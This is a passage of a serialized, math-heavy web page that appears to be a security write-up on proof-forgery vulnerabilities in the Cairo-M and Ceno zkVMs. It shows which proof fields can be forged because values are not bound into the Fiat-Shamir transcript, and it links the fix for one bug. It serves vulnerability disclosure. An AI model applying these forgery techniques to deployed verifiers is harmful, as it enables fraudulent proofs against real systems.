{ pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[124660],{"type":24,"tag":284,"props":124661,"children":124662},{"__ignoreMap":7},[124663],{"type":29,"value":124658},{"type":24,"tag":25,"props":124665,"children":124666},{},[124667],{"type":24,"tag":188,"props":124668,"children":124669},{},[124670],{"type":29,"value":122206},{"type":24,"tag":25,"props":124672,"children":124673},{},[124674],{"type":24,"tag":11511,"props":124675,"children":124678},{"alt":124676,"src":124677},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":24,"tag":25,"props":124680,"children":124681},{},[124682,124684,124690],{"type":29,"value":124683},"Lookup challenges are derived without ",{"type":24,"tag":284,"props":124685,"children":124687},{"className":124686},[],[124688],{"type":29,"value":124689},"public_data",{"type":29,"value":124691}," being  mixed into the transcript.",{"type":24,"tag":25,"props":124693,"children":124694},{},[124695,124696,124701,124703,124708],{"type":29,"value":1713},{"type":24,"tag":284,"props":124697,"children":124699},{"className":124698},[],[124700],{"type":29,"value":124689},{"type":29,"value":124702}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":24,"tag":42,"props":124704,"children":124705},{},[124706],{"type":29,"value":124707},"denominators",{"type":29,"value":124709}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":24,"tag":25,"props":124711,"children":124712},{},[124713],{"type":24,"tag":284,"props":124714,"children":124716},{"className":124715},[2949,2950],[124717],{"type":24,"tag":327,"props":124718,"children":124720},{"className":124719},[2955],[124721],{"type":24,"tag":327,"props":124722,"children":124724},{"className":124723,"ariaHidden":2961},[2960],[124725,124785,124831,124877],{"type":24,"tag":327,"props":124726,"children":124728},{"className":124727},[2966],[124729,124733,124739,124744,124753,124758,124767,124772,124776,124781],{"type":24,"tag":327,"props":124730,"children":124732},{"className":124731,"style":99716},[2971],[],{"type":24,"tag":327,"props":124734,"children":124736},{"className":124735},[2977,2978],[124737],{"type":29,"value":124738},"L",{"type":24,"tag":327,"props":124740,"children":124742},{"className":124741},[3121],[124743],{"type":29,"value":349},{"type":24,"tag":327,"props":124745,"children":124747},{"className":124746},[2977,29],[124748],{"type":24,"tag":327,"props":124749,"children":124751},{"className":124750},[2977],[124752],{"type":29,"value":68398},{"type":24,"tag":327,"props":124754,"children":124756},{"className":124755,"style":99774},[2977],[124757],{"type":29,"value":10692},{"type":24,"tag":327,"props":124759,"children":124761},{"className":124760},[2977,29],[124762],{"type":24,"tag":327,"props":124763,"children":124765},{"className":124764},[2977],[124766],{"type":29,"value":11298},{"type":24,"tag":327,"props":124768,"children":124770},{"className":124769},[3143],[124771],{"type":29,"value":3146},{"type":24,"tag":327,"props":124773,"children":124775},{"className":124774,"style":3705},[2992],[],{"type":24,"tag":327,"props":124777,"children":124779},{"className":124778},[3710],[124780],{"type":29,"value":394},{"type":24,"tag":327,"props":124782,"children":124784},{"className":124783,"style":3705},[2992],[],{"type":24,"tag":327,"props":124786,"children":124788},{"className":124787},[2966],[124789,124793,124803,124808,124818,124822,124827],{"type":24,"tag":327,"props":124790,"children":124792},{"className":124791,"style":99716},[2971],[],{"type":24,"tag":327,"props":124794,"children":124796},{"className":124795},[2977,29],[124797],{"type":24,"tag":327,"props":124798,"children":124800},{"className":124799},[2977],[124801],{"type":29,"value":124802},"(other transcript",{"type":24,"tag":327,"props":124804,"children":124806},{"className":124805,"style":99774},[2977],[124807],{"type":29,"value":10692},{"type":24,"tag":327,"props":124809,"children":124811},{"className":124810},[2977,29],[124812],{"type":24,"tag":327,"props":124813,"children":124815},{"className":124814},[2977],[124816],{"type":29,"value":124817},"bound terms)",{"type":24,"tag":327,"props":124819,"children":124821},{"className":124820,"style":2993},[2992],[],{"type":24,"tag":327,"props":124823,"children":124825},{"className":124824},[2998],[124826],{"type":29,"value":384},{"type":24,"tag":327,"props":124828,"children":124830},{"className":124829,"style":2993},[2992],[],{"type":24,"tag":327,"props":124832,"children":124834},{"className":124833},[2966],[124835,124840,124845,124850,124855,124859,124864,124868,124873],{"type":24,"tag":327,"props":124836,"children":124839},{"className":124837,"style":124838},[2971],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":24,"tag":327,"props":124841,"children":124843},{"className":124842},[2977],[124844],{"type":29,"value":2988},{"type":24,"tag":327,"props":124846,"children":124848},{"className":124847},[11695],[124849],{"type":29,"value":11698},{"type":24,"tag":327,"props":124851,"children":124854},{"className":124852,"style":124853},[2992],"margin-right:2em;",[],{"type":24,"tag":327,"props":124856,"children":124858},{"className":124857,"style":3169},[2992],[],{"type":24,"tag":327,"props":124860,"children":124862},{"className":124861},[2977,2978],[124863],{"type":29,"value":124738},{"type":24,"tag":327,"props":124865,"children":124867},{"className":124866,"style":2993},[2992],[],{"type":24,"tag":327,"props":124869,"children":124871},{"className":124870},[2998],[124872],{"type":29,"value":384},{"type":24,"tag":327,"props":124874,"children":124876},{"className":124875,"style":2993},[2992],[],{"type":24,"tag":327,"props":124878,"children":124880},{"className":124879},[2966],[124881,124886,124943,124947,125165],{"type":24,"tag":327,"props":124882,"children":124885},{"className":124883,"style":124884},[2971],"height:1.4071em;vertical-align:-0.562em;",[],{"type":24,"tag":327,"props":124887,"children":124889},{"className":124888},[3018],[124890,124895],{"type":24,"tag":327,"props":124891,"children":124893},{"className":124892,"style":3025},[3018,3023,3024],[124894],{"type":29,"value":115569},{"type":24,"tag":327,"props":124896,"children":124898},{"className":124897},[3032],[124899],{"type":24,"tag":327,"props":124900,"children":124902},{"className":124901},[3037,3038],[124903,124932],{"type":24,"tag":327,"props":124904,"children":124906},{"className":124905},[3043],[124907,124927],{"type":24,"tag":327,"props":124908,"children":124910},{"className":124909,"style":120981},[3048],[124911],{"type":24,"tag":327,"props":124912,"children":124913},{"style":3053},[124914,124918],{"type":24,"tag":327,"props":124915,"children":124917},{"className":124916,"style":3059},[3058],[],{"type":24,"tag":327,"props":124919,"children":124921},{"className":124920},[3064,3065,3066,3067],[124922],{"type":24,"tag":327,"props":124923,"children":124925},{"className":124924},[2977,2978,3067],[124926],{"type":29,"value":11334},{"type":24,"tag":327,"props":124928,"children":124930},{"className":124929},[3150],[124931],{"type":29,"value":3153},{"type":24,"tag":327,"props":124933,"children":124935},{"className":124934},[3043],[124936],{"type":24,"tag":327,"props":124937,"children":124939},{"className":124938,"style":121261},[3048],[124940],{"type":24,"tag":327,"props":124941,"children":124942},{},[],{"type":24,"tag":327,"props":124944,"children":124946},{"className":124945,"style":3169},[2992],[],{"type":24,"tag":327,"props":124948,"children":124950},{"className":124949},[2977],[124951,124955,125161],{"type":24,"tag":327,"props":124952,"children":124954},{"className":124953},[3121,120292],[],{"type":24,"tag":327,"props":124956,"children":124958},{"className":124957},[120297],[124959],{"type":24,"tag":327,"props":124960,"children":124962},{"className":124961},[3037,3038],[124963,125149],{"type":24,"tag":327,"props":124964,"children":124966},{"className":124965},[3043],[124967,125144],{"type":24,"tag":327,"props":124968,"children":124970},{"className":124969,"style":120310},[3048],[124971,125113,125124],{"type":24,"tag":327,"props":124972,"children":124973},{"style":120314},[124974,124978],{"type":24,"tag":327,"props":124975,"children":124977},{"className":124976,"style":118945},[3058],[],{"type":24,"tag":327,"props":124979,"children":124981},{"className":124980},[3064,3065,3066,3067],[124982],{"type":24,"tag":327,"props":124983,"children":124985},{"className":124984},[2977,3067],[124986,124991,124996,125002,125007,125012,125069,125074,125083,125088,125097,125103,125108],{"type":24,"tag":327,"props":124987,"children":124989},{"className":124988,"style":120331},[2977,2978,3067],[124990],{"type":29,"value":120334},{"type":24,"tag":327,"props":124992,"children":124994},{"className":124993},[3710,3067],[124995],{"type":29,"value":394},{"type":24,"tag":327,"props":124997,"children":124999},{"className":124998},[3121,3067],[125000],{"type":29,"value":125001},"⟨",{"type":24,"tag":327,"props":125003,"children":125005},{"className":125004,"style":121862},[2977,2978,3067],[125006],{"type":29,"value":121865},{"type":24,"tag":327,"props":125008,"children":125010},{"className":125009},[11695,3067],[125011],{"type":29,"value":11698},{"type":24,"tag":327,"props":125013,"children":125015},{"className":125014},[2977,3067],[125016,125021],{"type":24,"tag":327,"props":125017,"children":125019},{"className":125018},[2977,2978,3067],[125020],{"type":29,"value":3134},{"type":24,"tag":327,"props":125022,"children":125024},{"className":125023},[3032],[125025],{"type":24,"tag":327,"props":125026,"children":125028},{"className":125027},[3037,3038],[125029,125058],{"type":24,"tag":327,"props":125030,"children":125032},{"className":125031},[3043],[125033,125053],{"type":24,"tag":327,"props":125034,"children":125036},{"className":125035,"style":121098},[3048],[125037],{"type":24,"tag":327,"props":125038,"children":125039},{"style":115629},[125040,125044],{"type":24,"tag":327,"props":125041,"children":125043},{"className":125042,"style":115634},[3058],[],{"type":24,"tag":327,"props":125045,"children":125047},{"className":125046},[3064,115639,115640,3067],[125048],{"type":24,"tag":327,"props":125049,"children":125051},{"className":125050},[2977,2978,3067],[125052],{"type":29,"value":11334},{"type":24,"tag":327,"props":125054,"children":125056},{"className":125055},[3150],[125057],{"type":29,"value":3153},{"type":24,"tag":327,"props":125059,"children":125061},{"className":125060},[3043],[125062],{"type":24,"tag":327,"props":125063,"children":125065},{"className":125064,"style":115659},[3048],[125066],{"type":24,"tag":327,"props":125067,"children":125068},{},[],{"type":24,"tag":327,"props":125070,"children":125072},{"className":125071},[3121,3067],[125073],{"type":29,"value":349},{"type":24,"tag":327,"props":125075,"children":125077},{"className":125076},[2977,29,3067],[125078],{"type":24,"tag":327,"props":125079,"children":125081},{"className":125080},[2977,3067],[125082],{"type":29,"value":68398},{"type":24,"tag":327,"props":125084,"children":125086},{"className":125085,"style":99774},[2977,3067],[125087],{"type":29,"value":10692},{"type":24,"tag":327,"props":125089,"children":125091},{"className":125090},[2977,29,3067],[125092],{"type":24,"tag":327,"props":125093,"children":125095},{"className":125094},[2977,3067],[125096],{"type":29,"value":11298},{"type":24,"tag":327,"props":125098,"children":125100},{"className":125099},[3143,3067],[125101],{"type":29,"value":125102},")⟩",{"type":24,"tag":327,"props":125104,"children":125106},{"className":125105},[3710,3067],[125107],{"type":29,"value":394},{"type":24,"tag":327,"props":125109,"children":125111},{"className":125110,"style":121917},[2977,2978,3067],[125112],{"type":29,"value":121920},{"type":24,"tag":327,"props":125114,"children":125115},{"style":120347},[125116,125120],{"type":24,"tag":327,"props":125117,"children":125119},{"className":125118,"style":118945},[3058],[],{"type":24,"tag":327,"props":125121,"children":125123},{"className":125122,"style":120357},[120356],[],{"type":24,"tag":327,"props":125125,"children":125126},{"style":120361},[125127,125131],{"type":24,"tag":327,"props":125128,"children":125130},{"className":125129,"style":118945},[3058],[],{"type":24,"tag":327,"props":125132,"children":125134},{"className":125133},[3064,3065,3066,3067],[125135],{"type":24,"tag":327,"props":125136,"children":125138},{"className":125137},[2977,3067],[125139],{"type":24,"tag":327,"props":125140,"children":125142},{"className":125141},[2977,3067],[125143],{"type":29,"value":3238},{"type":24,"tag":327,"props":125145,"children":125147},{"className":125146},[3150],[125148],{"type":29,"value":3153},{"type":24,"tag":327,"props":125150,"children":125152},{"className":125151},[3043],[125153],{"type":24,"tag":327,"props":125154,"children":125157},{"className":125155,"style":125156},[3048],"height:0.562em;",[125158],{"type":24,"tag":327,"props":125159,"children":125160},{},[],{"type":24,"tag":327,"props":125162,"children":125164},{"className":125163},[3143,120292],[],{"type":24,"tag":327,"props":125166,"children":125168},{"className":125167},[2977],[125169],{"type":29,"value":66},{"type":24,"tag":25,"props":125171,"children":125172},{},[125173,125175],{"type":29,"value":125174},"The global check is then that ",{"type":24,"tag":284,"props":125176,"children":125178},{"className":125177},[2949,2950],[125179],{"type":24,"tag":327,"props":125180,"children":125182},{"className":125181},[2955],[125183],{"type":24,"tag":327,"props":125184,"children":125186},{"className":125185,"ariaHidden":2961},[2960],[125187,125228,125259],{"type":24,"tag":327,"props":125188,"children":125190},{"className":125189},[2966],[125191,125195,125200,125205,125210,125215,125219,125224],{"type":24,"tag":327,"props":125192,"children":125194},{"className":125193,"style":3685},[2971],[],{"type":24,"tag":327,"props":125196,"children":125198},{"className":125197},[2977,2978],[125199],{"type":29,"value":124738},{"type":24,"tag":327,"props":125201,"children":125203},{"className":125202},[3121],[125204],{"type":29,"value":349},{"type":24,"tag":327,"props":125206,"children":125208},{"className":125207},[2977,2978],[125209],{"type":29,"value":25},{"type":24,"tag":327,"props":125211,"children":125213},{"className":125212},[3143],[125214],{"type":29,"value":3146},{"type":24,"tag":327,"props":125216,"children":125218},{"className":125217,"style":3705},[2992],[],{"type":24,"tag":327,"props":125220,"children":125222},{"className":125221},[3710],[125223],{"type":29,"value":394},{"type":24,"tag":327,"props":125225,"children":125227},{"className":125226,"style":3705},[2992],[],{"type":24,"tag":327,"props":125229,"children":125231},{"className":125230},[2966],[125232,125236,125246,125250,125255],{"type":24,"tag":327,"props":125233,"children":125235},{"className":125234,"style":3685},[2971],[],{"type":24,"tag":327,"props":125237,"children":125239},{"className":125238},[2977,29],[125240],{"type":24,"tag":327,"props":125241,"children":125243},{"className":125242},[2977],[125244],{"type":29,"value":125245},"(other terms)",{"type":24,"tag":327,"props":125247,"children":125249},{"className":125248,"style":2993},[2992],[],{"type":24,"tag":327,"props":125251,"children":125253},{"className":125252},[2998],[125254],{"type":29,"value":384},{"type":24,"tag":327,"props":125256,"children":125258},{"className":125257,"style":2993},[2992],[],{"type":24,"tag":327,"props":125260,"children":125262},{"className":125261},[2966],[125263,125267],{"type":24,"tag":327,"props":125264,"children":125266},{"className":125265,"style":100805},[2971],[],{"type":24,"tag":327,"props":125268,"children":125270},{"className":125269},[2977],[125271],{"type":29,"value":2988},{"type":24,"tag":25,"props":125273,"children":125274},{},[125275],{"type":29,"value":125276},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":24,"tag":25,"props":125278,"children":125279},{},[125280],{"type":29,"value":125281},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":24,"tag":25,"props":125283,"children":125284},{},[125285,125289,125291],{"type":24,"tag":188,"props":125286,"children":125287},{},[125288],{"type":29,"value":123484},{"type":29,"value":125290}," Fixed on October 31, 2025 via ",{"type":24,"tag":57,"props":125292,"children":125295},{"href":125293,"rel":125294},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[61],[125296],{"type":29,"value":125297},"commit 92b6740",{"type":24,"tag":68,"props":125299,"children":125300},{},[],{"type":24,"tag":235,"props":125302,"children":125304},{"id":125303},"ceno-scroll",[125305],{"type":29,"value":125306},"Ceno (Scroll)",{"type":24,"tag":25,"props":125308,"children":125309},{},[125310],{"type":29,"value":125311},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":24,"tag":25,"props":125313,"children":125314},{},[125315,125317,125322],{"type":29,"value":125316},"Ceno splits verification into ",{"type":24,"tag":188,"props":125318,"children":125319},{},[125320],{"type":29,"value":125321},"chips",{"type":29,"value":125323},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":24,"tag":25,"props":125325,"children":125326},{},[125327,125329,125334],{"type":29,"value":125328},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":24,"tag":188,"props":125330,"children":125331},{},[125332],{"type":29,"value":125333},"tower sumcheck",{"type":29,"value":66},{"type":24,"tag":25,"props":125336,"children":125337},{},[125338],{"type":29,"value":125339},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":24,"tag":25,"props":125341,"children":125342},{},[125343],{"type":24,"tag":284,"props":125344,"children":125346},{"className":125345},[2949,2950],[125347],{"type":24,"tag":327,"props":125348,"children":125350},{"className":125349},[2955],[125351],{"type":24,"tag":327,"props":125352,"children":125354},{"className":125353,"ariaHidden":2961},[2960],[125355,125529,125702],{"type":24,"tag":327,"props":125356,"children":125358},{"className":125357},[2966],[125359,125363,125421,125425,125434,125439,125449,125454,125516,125520,125525],{"type":24,"tag":327,"props":125360,"children":125362},{"className":125361,"style":99716},[2971],[],{"type":24,"tag":327,"props":125364,"children":125366},{"className":125365},[3018],[125367,125373],{"type":24,"tag":327,"props":125368,"children":125370},{"className":125369,"style":3025},[3018,3023,3024],[125371],{"type":29,"value":125372},"∏",{"type":24,"tag":327,"props":125374,"children":125376},{"className":125375},[3032],[125377],{"type":24,"tag":327,"props":125378,"children":125380},{"className":125379},[3037,3038],[125381,125410],{"type":24,"tag":327,"props":125382,"children":125384},{"className":125383},[3043],[125385,125405],{"type":24,"tag":327,"props":125386,"children":125388},{"className":125387,"style":120981},[3048],[125389],{"type":24,"tag":327,"props":125390,"children":125391},{"style":3053},[125392,125396],{"type":24,"tag":327,"props":125393,"children":125395},{"className":125394,"style":3059},[3058],[],{"type":24,"tag":327,"props":125397,"children":125399},{"className":125398},[3064,3065,3066,3067],[125400],{"type":24,"tag":327,"props":125401,"children":125403},{"className":125402},[2977,2978,3067],[125404],{"type":29,"value":11334},{"type":24,"tag":327,"props":125406,"children":125408},{"className":125407},[3150],[125409],{"type":29,"value":3153},{"type":24,"tag":327,"props":125411,"children":125413},{"className":125412},[3043],[125414],{"type":24,"tag":327,"props":125415,"children":125417},{"className":125416,"style":121261},[3048],[125418],{"type":24,"tag":327,"props":125419,"children":125420},{},[],{"type":24,"tag":327,"props":125422,"children":125424},{"className":125423,"style":3169},[2992],[],{"type":24,"tag":327,"props":125426,"children":125428},{"className":125427},[2977,29],[125429],{"type":24,"tag":327,"props":125430,"children":125432},{"className":125431},[2977],[125433],{"type":29,"value":100593},{"type":24,"tag":327,"props":125435,"children":125437},{"className":125436,"style":99774},[2977],[125438],{"type":29,"value":10692},{"type":24,"tag":327,"props":125440,"children":125442},{"className":125441},[2977,29],[125443],{"type":24,"tag":327,"props":125444,"children":125446},{"className":125445},[2977],[125447],{"type":29,"value":125448},"out",{"type":24,"tag":327,"props":125450,"children":125452},{"className":125451,"style":99774},[2977],[125453],{"type":29,"value":10692},{"type":24,"tag":327,"props":125455,"children":125457},{"className":125456},[2977],[125458,125468],{"type":24,"tag":327,"props":125459,"children":125461},{"className":125460},[2977,29],[125462],{"type":24,"tag":327,"props":125463,"children":125465},{"className":125464},[2977],[125466],{"type":29,"value":125467},"evals",{"type":24,"tag":327,"props":125469,"children":125471},{"className":125470},[3032],[125472],{"type":24,"tag":327,"props":125473,"children":125475},{"className":125474},[3037,3038],[125476,125505],{"type":24,"tag":327,"props":125477,"children":125479},{"className":125478},[3043],[125480,125500],{"type":24,"tag":327,"props":125481,"children":125483},{"className":125482,"style":100303},[3048],[125484],{"type":24,"tag":327,"props":125485,"children":125486},{"style":120904},[125487,125491],{"type":24,"tag":327,"props":125488,"children":125490},{"className":125489,"style":3059},[3058],[],{"type":24,"tag":327,"props":125492,"children":125494},{"className":125493},[3064,3065,3066,3067],[125495],{"type":24,"tag":327,"props":125496,"children":125498},{"className":125497},[2977,2978,3067],[125499],{"type":29,"value":11334},{"type":24,"tag":327,"props":125501,"children":125503},{"className":125502},[3150],[125504],{"type":29,"value":3153},{"type":24,"tag":327,"props":125506,"children":125508},{"className":125507},[3043],[125509],{"type":24,"tag":327,"props":125510,"children":125512},{"className":125511,"style":99857},[3048],[125513],{"type":24,"tag":327,"props":125514,"children":125515},{},[],{"type":24,"tag":327,"props":125517,"children":125519},{"className":125518,"style":2993},[2992],[],{"type":24,"tag":327,"props":125521,"children":125523},{"className":125522},[2998],[125524],{"type":29,"value":384},{"type":24,"tag":327,"props":125526,"children":125528},{"className":125527,"style":2993},[2992],[],{"type":24,"tag":327,"props":125530,"children":125532},{"className":125531},[2966],[125533,125538,125595,125599,125608,125613,125622,125627,125689,125693,125698],{"type":24,"tag":327,"props":125534,"children":125537},{"className":125535,"style":125536},[2971],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":24,"tag":327,"props":125539,"children":125541},{"className":125540},[3018],[125542,125547],{"type":24,"tag":327,"props":125543,"children":125545},{"className":125544,"style":3025},[3018,3023,3024],[125546],{"type":29,"value":125372},{"type":24,"tag":327,"props":125548,"children":125550},{"className":125549},[3032],[125551],{"type":24,"tag":327,"props":125552,"children":125554},{"className":125553},[3037,3038],[125555,125584],{"type":24,"tag":327,"props":125556,"children":125558},{"className":125557},[3043],[125559,125579],{"type":24,"tag":327,"props":125560,"children":125562},{"className":125561,"style":120981},[3048],[125563],{"type":24,"tag":327,"props":125564,"children":125565},{"style":3053},[125566,125570],{"type":24,"tag":327,"props":125567,"children":125569},{"className":125568,"style":3059},[3058],[],{"type":24,"tag":327,"props":125571,"children":125573},{"className":125572},[3064,3065,3066,3067],[125574],{"type":24,"tag":327,"props":125575,"children":125577},{"className":125576,"style":120997},[2977,2978,3067],[125578],{"type":29,"value":16216},{"type":24,"tag":327,"props":125580,"children":125582},{"className":125581},[3150],[125583],{"type":29,"value":3153},{"type":24,"tag":327,"props":125585,"children":125587},{"className":125586},[3043],[125588],{"type":24,"tag":327,"props":125589,"children":125591},{"className":125590,"style":121012},[3048],[125592],{"type":24,"tag":327,"props":125593,"children":125594},{},[],{"type":24,"tag":327,"props":125596,"children":125598},{"className":125597,"style":3169},[2992],[],{"type":24,"tag":327,"props":125600,"children":125602},{"className":125601},[2977,29],[125603],{"type":24,"tag":327,"props":125604,"children":125606},{"className":125605},[2977],[125607],{"type":29,"value":56292},{"type":24,"tag":327,"props":125609,"children":125611},{"className":125610,"style":99774},[2977],[125612],{"type":29,"value":10692},{"type":24,"tag":327,"props":125614,"children":125616},{"className":125615},[2977,29],[125617],{"type":24,"tag":327,"props":125618,"children":125620},{"className":125619},[2977],[125621],{"type":29,"value":125448},{"type":24,"tag":327,"props":125623,"children":125625},{"className":125624,"style":99774},[2977],[125626],{"type":29,"value":10692},{"type":24,"tag":327,"props":125628,"children":125630},{"className":125629},[2977],[125631,125640],{"type":24,"tag":327,"props":125632,"children":125634},{"className":125633},[2977,29],[125635],{"type":24,"tag":327,"props":125636,"children":125638},{"className":125637},[2977],[125639],{"type":29,"value":125467},{"type":24,"tag":327,"props":125641,"children":125643},{"className":125642},[3032],[125644],{"type":24,"tag":327,"props":125645,"children":125647},{"className":125646},[3037,3038],[125648,125677],{"type":24,"tag":327,"props":125649,"children":125651},{"className":125650},[3043],[125652,125672],{"type":24,"tag":327,"props":125653,"children":125655},{"className":125654,"style":100303},[3048],[125656],{"type":24,"tag":327,"props":125657,"children":125658},{"style":120904},[125659,125663],{"type":24,"tag":327,"props":125660,"children":125662},{"className":125661,"style":3059},[3058],[],{"type":24,"tag":327,"props":125664,"children":125666},{"className":125665},[3064,3065,3066,3067],[125667],{"type":24,"tag":327,"props":125668,"children":125670},{"className":125669,"style":120997},[2977,2978,3067],[125671],{"type":29,"value":16216},{"type":24,"tag":327,"props":125673,"children":125675},{"className":125674},[3150],[125676],{"type":29,"value":3153},{"type":24,"tag":327,"props":125678,"children":125680},{"className":125679},[3043],[125681],{"type":24,"tag":327,"props":125682,"children":125685},{"className":125683,"style":125684},[3048],"height:0.2861em;",[125686],{"type":24,"tag":327,"props":125687,"children":125688},{},[],{"type":24,"tag":327,"props":125690,"children":125692},{"className":125691,"style":3705},[2992],[],{"type":24,"tag":327,"props":125694,"children":125696},{"className":125695},[3710],[125697],{"type":29,"value":118036},{"type":24,"tag":327,"props":125699,"children":125701},{"className":125700,"style":3705},[2992],[],{"type":24,"tag":327,"props":125703,"children":125705},{"className":125704},[2966],[125706,125710,125715,125725],{"type":24,"tag":327,"props":125707,"children":125709},{"className":125708,"style":3685},[2971],[],{"type":24,"tag":327,"props":125711,"children":125713},{"className":125712},[3121],[125714],{"type":29,"value":349},{"type":24,"tag":327,"props":125716,"children":125718},{"className":125717},[2977,29],[125719],{"type":24,"tag":327,"props":125720,"children":125722},{"className":125721},[2977],[125723],{"type":29,"value":125724},"state factors",{"type":24,"tag":327,"props":125726,"children":125728},{"className":125727},[3143],[125729],{"type":29,"value":3146},{"type":24,"tag":25,"props":125731,"children":125732},{},[125733],{"type":24,"tag":188,"props":125734,"children":125735},{},[125736],{"type":29,"value":122190},{"type":24,"tag":317,"props":125738,"children":125740},{"code":125739},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[125741],{"type":24,"tag":284,"props":125742,"children":125743},{"__ignoreMap":7},[125744],{"type":29,"value":125739},{"type":24,"tag":25,"props":125746,"children":125747},{},[125748,125754,125755,125761,125762,125768],{"type":24,"tag":284,"props":125749,"children":125751},{"className":125750},[],[125752],{"type":29,"value":125753},"r_out_evals",{"type":29,"value":2744},{"type":24,"tag":284,"props":125756,"children":125758},{"className":125757},[],[125759],{"type":29,"value":125760},"w_out_evals",{"type":29,"value":14054},{"type":24,"tag":284,"props":125763,"children":125765},{"className":125764},[],[125766],{"type":29,"value":125767},"lk_out_evals",{"type":29,"value":125769}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":24,"tag":175,"props":125771,"children":125772},{},[125773],{"type":24,"tag":179,"props":125774,"children":125775},{},[125776,125781,125783,125789],{"type":24,"tag":188,"props":125777,"children":125778},{},[125779],{"type":29,"value":125780},"GKR/Tower equation",{"type":29,"value":125782}," (linear in ",{"type":24,"tag":284,"props":125784,"children":125786},{"className":125785},[],[125787],{"type":29,"value":125788},"out_evals",{"type":29,"value":5393},{"type":24,"tag":25,"props":125791,"children":125792},{},[125793,125795],{"type":29,"value":125794},"The tower sumcheck claim is ",{"type":24,"tag":284,"props":125796,"children":125798},{"className":125797},[2949,2950],[125799],{"type":24,"tag":327,"props":125800,"children":125802},{"className":125801},[2955],[125803],{"type":24,"tag":327,"props":125804,"children":125806},{"className":125805,"ariaHidden":2961},[2960],[125807,125838,125963],{"type":24,"tag":327,"props":125808,"children":125810},{"className":125809},[2966],[125811,125815,125825,125829,125834],{"type":24,"tag":327,"props":125812,"children":125814},{"className":125813,"style":99689},[2971],[],{"type":24,"tag":327,"props":125816,"children":125818},{"className":125817},[2977,29],[125819],{"type":24,"tag":327,"props":125820,"children":125822},{"className":125821},[2977],[125823],{"type":29,"value":125824},"claim",{"type":24,"tag":327,"props":125826,"children":125828},{"className":125827,"style":2993},[2992],[],{"type":24,"tag":327,"props":125830,"children":125832},{"className":125831},[2998],[125833],{"type":29,"value":384},{"type":24,"tag":327,"props":125835,"children":125837},{"className":125836,"style":2993},[2992],[],{"type":24,"tag":327,"props":125839,"children":125841},{"className":125840},[2966],[125842,125847,125904,125908,125950,125954,125959],{"type":24,"tag":327,"props":125843,"children":125846},{"className":125844,"style":125845},[2971],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":24,"tag":327,"props":125848,"children":125850},{"className":125849},[3018],[125851,125856],{"type":24,"tag":327,"props":125852,"children":125854},{"className":125853,"style":3025},[3018,3023,3024],[125855],{"type":29,"value":115569},{"type":24,"tag":327,"props":125857,"children":125859},{"className":125858},[3032],[125860],{"type":24,"tag":327,"props":125861,"children":125863},{"className":125862},[3037,3038],[125864,125893],{"type":24,"tag":327,"props":125865,"children":125867},{"className":125866},[3043],[125868,125888],{"type":24,"tag":327,"props":125869,"children":125871},{"className":125870,"style":120981},[3048],[125872],{"type":24,"tag":327,"props":125873,"children":125874},{"style":3053},[125875,125879],{"type":24,"tag":327,"props":125876,"children":125878},{"className":125877,"style":3059},[3058],[],{"type":24,"tag":327,"props":125880,"children":125882},{"className":125881},[3064,3065,3066,3067],[125883],{"type":24,"tag":327,"props":125884,"children":125886},{"className":125885,"style":120997},[2977,2978,3067],[125887],{"type":29,"value":16216},{"type":24,"tag":327,"props":125889,"children":125891},{"className":125890},[3150],[125892],{"type":29,"value":3153},{"type":24,"tag":327,"props":125894,"children":125896},{"className":125895},[3043],[125897],{"type":24,"tag":327,"props":125898,"children":125900},{"className":125899,"style":121012},[3048],[125901],{"type":24,"tag":327,"props":125902,"children":125903},{},[],{"type":24,"tag":327,"props":125905,"children":125907},{"className":125906,"style":3169},[2992],[],{"type":24,"tag":327,"props":125909,"children":125911},{"className":125910},[2977],[125912,125917],{"type":24,"tag":327,"props":125913,"children":125915},{"className":125914,"style":121862},[2977,2978],[125916],{"type":29,"value":121865},{"type":24,"tag":327,"props":125918,"children":125920},{"className":125919},[3032],[125921],{"type":24,"tag":327,"props":125922,"children":125924},{"className":125923},[3037],[125925],{"type":24,"tag":327,"props":125926,"children":125928},{"className":125927},[3043],[125929],{"type":24,"tag":327,"props":125930,"children":125933},{"className":125931,"style":125932},[3048],"height:0.8247em;",[125934],{"type":24,"tag":327,"props":125935,"children":125936},{"style":11628},[125937,125941],{"type":24,"tag":327,"props":125938,"children":125940},{"className":125939,"style":3059},[3058],[],{"type":24,"tag":327,"props":125942,"children":125944},{"className":125943},[3064,3065,3066,3067],[125945],{"type":24,"tag":327,"props":125946,"children":125948},{"className":125947,"style":120997},[2977,2978,3067],[125949],{"type":29,"value":16216},{"type":24,"tag":327,"props":125951,"children":125953},{"className":125952,"style":3705},[2992],[],{"type":24,"tag":327,"props":125955,"children":125957},{"className":125956},[3710],[125958],{"type":29,"value":118036},{"type":24,"tag":327,"props":125960,"children":125962},{"className":125961,"style":3705},[2992],[],{"type":24,"tag":327,"props":125964,"children":125966},{"className":125965},[2966],[125967,125971,125980,125985],{"type":24,"tag":327,"props":125968,"children":125970},{"className":125969,"style":101187},[2971],[],{"type":24,"tag":327,"props":125972,"children":125974},{"className":125973}